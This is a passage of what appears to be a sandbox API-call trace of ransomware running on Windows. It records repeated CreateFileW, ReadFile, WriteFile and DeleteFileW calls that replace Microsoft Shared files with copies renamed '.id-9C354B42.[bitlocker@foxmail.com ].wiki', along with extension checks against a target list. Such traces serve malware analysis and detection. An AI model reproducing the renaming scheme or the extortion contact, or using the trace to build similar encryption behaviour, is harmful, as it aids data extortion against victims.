].wiki")) returned 0xffffffff [0195.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0195.186] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.186] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0195.187] GetLastError () returned 0x0 [0195.187] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0xdfa0, lpOverlapped=0x0) returned 1 [0195.210] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xdfb0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xdfb0, lpOverlapped=0x0) returned 1 [0195.211] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.211] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0195.211] SetEndOfFile (hFile=0x1e0) returned 1 [0195.212] CloseHandle (hObject=0x1e0) returned 1 [0195.212] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.212] SetEndOfFile (hFile=0x1d0) returned 1 [0195.213] CloseHandle (hObject=0x1d0) returned 1 [0195.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.213] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 1 [0195.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.213] lstrlenW (lpString=".doc") returned 4 [0195.213] lstrcmpiW (lpString1=".doc", lpString2=".cnv") returned 1 [0195.213] lstrlenW (lpString=".docx") returned 5 [0195.213] lstrcmpiW (lpString1=".docx", lpString2="y.cnv") returned -1 [0195.213] lstrlenW (lpString=".pdf") returned 4 [0195.213] lstrcmpiW (lpString1=".pdf", lpString2=".cnv") returned 1 [0195.213] lstrlenW (lpString=".xls") returned 4 [0195.213] lstrcmpiW (lpString1=".xls", lpString2=".cnv") returned 1 [0195.213] lstrlenW (lpString=".xlsx") returned 5 [0195.213] lstrcmpiW (lpString1=".xlsx", lpString2="y.cnv") returned -1 [0195.213] lstrlenW (lpString=".ppt") returned 4 [0195.213] lstrcmpiW (lpString1=".ppt", lpString2=".cnv") returned 1 [0195.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.371] lstrlenW (lpString=".zip") returned 4 [0195.371] lstrcmpiW (lpString1=".zip", lpString2=".cnv") returned 1 [0195.371] lstrlenW (lpString=".rar") returned 4 [0195.371] lstrcmpiW (lpString1=".rar", lpString2=".cnv") returned 1 [0195.371] lstrlenW (lpString=".bz2") returned 4 [0195.381] lstrcmpiW (lpString1=".bz2", lpString2=".cnv") returned -1 [0195.381] lstrlenW (lpString=".7z") returned 3 [0195.381] lstrcmpiW (lpString1=".7z", lpString2="cnv") returned -1 [0195.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.381] lstrlenW (lpString=".dbf") returned 4 [0195.388] lstrcmpiW (lpString1=".dbf", lpString2=".cnv") returned 1 [0195.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.389] lstrlenW (lpString=".1cd") returned 4 [0195.389] lstrcmpiW (lpString1=".1cd", lpString2=".cnv") returned -1 [0195.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.394] lstrlenW (lpString=".jpg") returned 4 [0195.394] lstrcmpiW (lpString1=".jpg", lpString2=".cnv") returned 1 [0195.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.394] lstrlenW (lpString=".doc") returned 4 [0195.394] lstrcmpiW (lpString1=".doc", lpString2=".cnv") returned 1 [0195.394] lstrlenW (lpString=".docx") returned 5 [0195.394] lstrcmpiW (lpString1=".docx", lpString2="y.cnv") returned -1 [0195.394] lstrlenW (lpString=".pdf") returned 4 [0195.394] lstrcmpiW (lpString1=".pdf", lpString2=".cnv") returned 1 [0195.394] lstrlenW (lpString=".xls") returned 4 [0195.394] lstrcmpiW (lpString1=".xls", lpString2=".cnv") returned 1 [0195.394] lstrlenW (lpString=".xlsx") returned 5 [0195.394] lstrcmpiW (lpString1=".xlsx", lpString2="y.cnv") returned -1 [0195.394] lstrlenW (lpString=".ppt") returned 4 [0195.394] lstrcmpiW (lpString1=".ppt", lpString2=".cnv") returned 1 [0195.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.394] lstrlenW (lpString=".zip") returned 4 [0195.394] lstrcmpiW (lpString1=".zip", lpString2=".cnv") returned 1 [0195.394] lstrlenW (lpString=".rar") returned 4 [0195.394] lstrcmpiW (lpString1=".rar", lpString2=".cnv") returned 1 [0195.394] lstrlenW (lpString=".bz2") returned 4 [0195.394] lstrcmpiW (lpString1=".bz2", lpString2=".cnv") returned -1 [0195.394] lstrlenW (lpString=".7z") returned 3 [0195.394] lstrcmpiW (lpString1=".7z", lpString2="cnv") returned -1 [0195.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.394] lstrlenW (lpString=".dbf") returned 4 [0195.394] lstrcmpiW (lpString1=".dbf", lpString2=".cnv") returned 1 [0195.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.394] lstrlenW (lpString=".1cd") returned 4 [0195.394] lstrcmpiW (lpString1=".1cd", lpString2=".cnv") returned -1 [0195.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0195.394] lstrlenW (lpString=".jpg") returned 4 [0195.395] lstrcmpiW (lpString1=".jpg", lpString2=".cnv") returned 1 [0195.395] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0195.395] lstrlenW (lpString="ARCTIC.ELM") returned 10 [0195.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.983] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=69575) returned 1 [0196.983] CloseHandle (hObject=0x200) returned 1 [0196.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 0x20 [0196.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.983] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.983] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0197.317] GetLastError () returned 0x0 [0197.317] ReadFile (in: hFile=0x200, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x10fc7, lpOverlapped=0x0) returned 1 [0197.330] WriteFile (in: hFile=0x218, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x10fd0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x10fd0, lpOverlapped=0x0) returned 1 [0197.332] ReadFile (in: hFile=0x200, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.332] WriteFile (in: hFile=0x218, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0197.332] SetEndOfFile (hFile=0x218) returned 1 [0197.332] CloseHandle (hObject=0x218) returned 1 [0197.332] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.333] SetEndOfFile (hFile=0x200) returned 1 [0197.334] CloseHandle (hObject=0x200) returned 1 [0197.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.334] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 1 [0197.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.334] lstrlenW (lpString=".doc") returned 4 [0197.334] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0197.334] lstrlenW (lpString=".docx") returned 5 [0197.334] lstrcmpiW (lpString1=".docx", lpString2="C.ELM") returned -1 [0197.334] lstrlenW (lpString=".pdf") returned 4 [0197.334] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0197.334] lstrlenW (lpString=".xls") returned 4 [0197.334] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0197.334] lstrlenW (lpString=".xlsx") returned 5 [0197.334] lstrcmpiW (lpString1=".xlsx", lpString2="C.ELM") returned -1 [0197.334] lstrlenW (lpString=".ppt") returned 4 [0197.334] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0197.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.334] lstrlenW (lpString=".zip") returned 4 [0197.334] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0197.334] lstrlenW (lpString=".rar") returned 4 [0197.335] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0197.335] lstrlenW (lpString=".bz2") returned 4 [0197.335] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0197.335] lstrlenW (lpString=".7z") returned 3 [0197.335] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0197.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.335] lstrlenW (lpString=".dbf") returned 4 [0197.335] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0197.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.335] lstrlenW (lpString=".1cd") returned 4 [0197.335] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0197.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.335] lstrlenW (lpString=".jpg") returned 4 [0197.335] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0197.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.335] lstrlenW (lpString=".doc") returned 4 [0197.335] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0197.335] lstrlenW (lpString=".docx") returned 5 [0197.335] lstrcmpiW (lpString1=".docx", lpString2="C.ELM") returned -1 [0197.335] lstrlenW (lpString=".pdf") returned 4 [0197.335] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0197.335] lstrlenW (lpString=".xls") returned 4 [0197.335] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0197.335] lstrlenW (lpString=".xlsx") returned 5 [0197.335] lstrcmpiW (lpString1=".xlsx", lpString2="C.ELM") returned -1 [0197.335] lstrlenW (lpString=".ppt") returned 4 [0197.336] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0197.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.336] lstrlenW (lpString=".zip") returned 4 [0197.336] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0197.336] lstrlenW (lpString=".rar") returned 4 [0197.336] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0197.336] lstrlenW (lpString=".bz2") returned 4 [0197.336] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0197.336] lstrlenW (lpString=".7z") returned 3 [0197.336] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0197.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.336] lstrlenW (lpString=".dbf") returned 4 [0197.336] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0197.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.336] lstrlenW (lpString=".1cd") returned 4 [0197.336] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0197.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0197.336] lstrlenW (lpString=".jpg") returned 4 [0197.336] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0197.336] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0197.336] lstrlenW (lpString="BLUECALM.INF") returned 12 [0197.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.470] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=551) returned 1 [0198.470] CloseHandle (hObject=0x1d0) returned 1 [0198.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf")) returned 0x20 [0198.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.470] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.471] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.471] GetLastError () returned 0x0 [0198.471] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x227, lpOverlapped=0x0) returned 1 [0198.472] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x230, lpOverlapped=0x0) returned 1 [0198.473] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.473] WriteFile (in: hFile=0x1f0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.473] SetEndOfFile (hFile=0x1f0) returned 1 [0198.473] CloseHandle (hObject=0x1f0) returned 1 [0198.473] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.473] SetEndOfFile (hFile=0x1d0) returned 1 [0198.474] CloseHandle (hObject=0x1d0) returned 1 [0198.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.474] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf")) returned 1 [0198.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.474] lstrlenW (lpString=".doc") returned 4 [0198.474] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0198.474] lstrlenW (lpString=".docx") returned 5 [0198.475] lstrcmpiW (lpString1=".docx", lpString2="M.INF") returned -1 [0198.475] lstrlenW (lpString=".pdf") returned 4 [0198.475] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0198.475] lstrlenW (lpString=".xls") returned 4 [0198.475] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0198.475] lstrlenW (lpString=".xlsx") returned 5 [0198.475] lstrcmpiW (lpString1=".xlsx", lpString2="M.INF") returned -1 [0198.475] lstrlenW (lpString=".ppt") returned 4 [0198.475] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0198.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.475] lstrlenW (lpString=".zip") returned 4 [0198.475] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0198.475] lstrlenW (lpString=".rar") returned 4 [0198.475] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0198.475] lstrlenW (lpString=".bz2") returned 4 [0198.475] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0198.475] lstrlenW (lpString=".7z") returned 3 [0198.475] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0198.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.475] lstrlenW (lpString=".dbf") returned 4 [0198.475] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0198.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.475] lstrlenW (lpString=".1cd") returned 4 [0198.475] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0198.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.475] lstrlenW (lpString=".jpg") returned 4 [0198.475] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0198.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.475] lstrlenW (lpString=".doc") returned 4 [0198.476] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0198.476] lstrlenW (lpString=".docx") returned 5 [0198.476] lstrcmpiW (lpString1=".docx", lpString2="M.INF") returned -1 [0198.476] lstrlenW (lpString=".pdf") returned 4 [0198.476] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0198.476] lstrlenW (lpString=".xls") returned 4 [0198.476] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0198.476] lstrlenW (lpString=".xlsx") returned 5 [0198.476] lstrcmpiW (lpString1=".xlsx", lpString2="M.INF") returned -1 [0198.476] lstrlenW (lpString=".ppt") returned 4 [0198.476] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0198.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.476] lstrlenW (lpString=".zip") returned 4 [0198.476] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0198.476] lstrlenW (lpString=".rar") returned 4 [0198.476] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0198.476] lstrlenW (lpString=".bz2") returned 4 [0198.476] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0198.476] lstrlenW (lpString=".7z") returned 3 [0198.476] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0198.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.476] lstrlenW (lpString=".dbf") returned 4 [0198.476] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0198.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.476] lstrlenW (lpString=".1cd") returned 4 [0198.476] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0198.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF") returned 77 [0198.476] lstrlenW (lpString=".jpg") returned 4 [0198.476] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0198.477] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0198.477] lstrlenW (lpString="BOLDSTRI.INF") returned 12 [0198.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0198.861] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=596) returned 1 [0198.861] CloseHandle (hObject=0x20c) returned 1 [0198.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 0x20 [0198.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.871] 